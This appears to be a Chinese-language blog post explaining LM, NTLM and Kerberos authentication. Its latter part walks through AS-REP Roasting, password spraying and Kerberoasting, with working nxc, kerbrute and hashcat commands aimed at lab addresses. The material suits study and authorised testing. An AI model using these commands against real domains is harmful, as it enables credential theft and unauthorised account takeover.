NTLMv1、NTLMv2 和 Kerberos 都可以在域环境(域控)中使用,默认Kerberos,后备NTLMv2而v1已经被禁用
1. LM又叫LanManager:
机制:将用户密码全部转换为大写,最大支持14字符,若不足14位,则补到14位,将其分成两个部分,每块生成一个56位有效密钥的DES密钥,用这个密钥对固定字符串"KGS!@#$%"加密,拼接成16字节LM哈希
缺点:只支持大写,14位上限,分成7+7及其容易被彩虹表暴力破解
2. NTLM:
2.1. NTLMv1:
使用DES算法和MD4哈希;Challenge/response质询响应机制也叫挑战握手机制
1.客户端发送请求,告知自己的信息
2.服务端发送8字节的随机数,作为Challenge
3.生成响应LM Response 和 NTLM Response,并发给服务端
(1) LM Response:如LM
(2)NTLM Response:NTLM-Hash = MD4(UTF-16-LE(password))得到16字节(128位)哈希值,将其扩展到21字节,并切成三个7字节,形成3个DES密钥(56位),分别用三个密钥加密Challenge,将其拼接成24字节,即Response的长度大小固定24字节,安全性差(容易被彩虹表破解)
4.客户端用相同的过程计算,验证结果
有时域控只要匹配成功其中的一个,便会认证成功。LM Response的脆弱性,攻击者有时可能只破解出LM Response即可通过认证。
2.2. NTLMv2,相比v1引入了更多数据(用户名,域,时间戳)来提升安全性,使用HMAC-MD5。
过程:
1.客户发送连接请求,声明一些消息(自己是谁,支持哪些认证)
2.服务器生成16字节随机数(Challenge)给客户端,还会有域名
3.客户端收到后进行处理,将Response响应给服务器:
用户密码进行MD4运算生成16字节的NT Hash,
计算ntlmv2 Hash:NTLMv2_Hash = HMAC_MD5(NT_Hash, UsernameUpper + Domain)
客户端还会构建临时缓冲区(temp):包含时间戳(复制重放),用户随机数(增加复杂性)等信息
生成NTLMv2 Response:Response=HMAC_MD5(ntlmv2,challenge+temp)
4.服务器验证:
服务器根据用户名,在自己的数据库(本地的SAM文件,域控制器的ntds.dit)查找对应的NT Hash并与用户名,域名运算生成NTLNv2 Hash,从Response中提取temp部分,进行相同运算,并与Response对比。
2.2.1. 总结:NTLMv2使用更强的加密算法HMac-MD5;更长挑战值16字节;防止重放攻击;客户端验证服务端身份(kerberos是双向认证)
1.3.Kerbos:通过受信任的第三方KDN(密钥分发中心)管理整个认证过程,在windows域中,KDC运行在DC(域控制器上)
核心思想:1、单点登录《用户只需要输入一次密钥就能再整个网络中访问服务,不需要频繁传递密钥,而是使用Ticket票据作为凭证》2、相互认证不仅服务器可以验证客户端,客户端也可以验证服务器3、使用票据,会话机制,降低重放风险
主要角色:Client客户端;Server服务端;KDC(key Distribution Center):AS(Authentication Server),TGS(Ticket Granting Server)
补充:Kerberos会默认进行预身份认证,旨在保护Kerberos协议本身的第一阶段
过程:1、AS认证(获取TGT),用户输入用户名和密码,用密码派生出的密钥向AS认证,AS向KDC数据库验证,成功后返回一个TGT(Ticket Granting Ticket票据授予票据)里面包含用户的身份信息,用TGS的密钥加密,并返回一个会话密钥Client–TGS Session Key(用用户密钥加密)
2、TGS认证:用户向TGS发送自己的TGT(TGS的密钥加密),想要访问的服务标识,认证信息(会话密钥加密),TGS解密TG获取会话密钥,并解开认证信息,确认客户端有权限访问目标服务;之后返回服务票据(Server Ticket包含客户ID,客户端地址,有效期Client–Server Session Key)用目标服务的密钥加密,并返回新的会话密钥Client–Server Session Key(Client–TGS Session Key加密)
3、服务认证:客户把服务票据发给目标服务,以及Authenticator(客户端生成包含客户端ID,时间戳),服务端解密服务票据,并用Session key解密;同时验证票据是否在有效期,防止重放攻击

1.3.1kerberos预身份认证:
危害:如果没有预身份认证那么任何用户都可以向KDC(密钥分发中心)请求任意用户的TGT,KDC会返回给该用户的用其密码派生出的密钥加密的TGT,之后便可以用hashcat -m18200 output.txt wordlist进行爆破
预身份认证原理:和挑战握手类似,但是这个挑战值会用用户密码衍生出来的密钥进行加密
1.客户端声明身份;
2.KDC发出挑战,并加密发送给客户端
3.客户端解密后,加入时间戳,并用衍生出的密钥加密时间戳;生成响应
4.KDC响应验证,提取时间戳,默认是5分钟,只有成功才会继续AS-REQ,TGS-REQ,TGS-REP,AP-REQ
攻击面:AS-REP Roasting;TGS-REP Kerberoasting
1.3.1.1AS-REP Roasting发生在kerberos认证中的as-req阶段,问题是因为用户在认证的时候勾选了需要进行域身份认证。
发生在kerberos认证中的as-req阶段,问题是因为用户在认证的时候勾选了需要进行Kerberos预身份认证。

情况:勾选了不要求kerberos预身份认证。
导致结果:不需要提供密码就可以获取TGT。
利用:破解这张TGT就可以获取到该用户的密码。
1.查询域内勾选了不需要kerberos预身份验证的用户
通过bloodhound查询域内勾选了不要求kerberos预身份认证的用户

2.获取勾选了不要求kerberos预身份认证的用户的票据
使用nxc
nxc ldap 10.10.90.102 -u test001 -p "" --asreproast output1.txt

3.破解tgt票据
工具:hashcat -- 内存必须大于8G
hashcat -m18200 output.txt wordlist

总结:对于Roasting攻击来说可能破解出来的密码有两种情况
1.高权限
如果是高权限账户,直接就是IPC$
2.低权限
通过nxc枚举出所有的用户(不在域内的情况下,在域内直接使用 net user /domain即可),
nxc.exe ldap 10.10.90.102 -u test001 -p Admin@123 --users
接着用kerbrute对枚举出来的用户做密码喷洒,然后看是否能出来高权限的账户,然后弄他。
1.3.1.2TGS-REP Kerberoasting
1.通过nxc工具申请注册在低权限账户下的spn的票据(ST)
nxc ldap 192.168.237.140 -u test001 -p Admin@123 --kerberoasting output.txt

2.通过hashcat破解
hashcat -m13100 output.txt wordlist.txt

NTLM与Kerberos认证详解
4013

被折叠的 条评论
为什么被折叠?



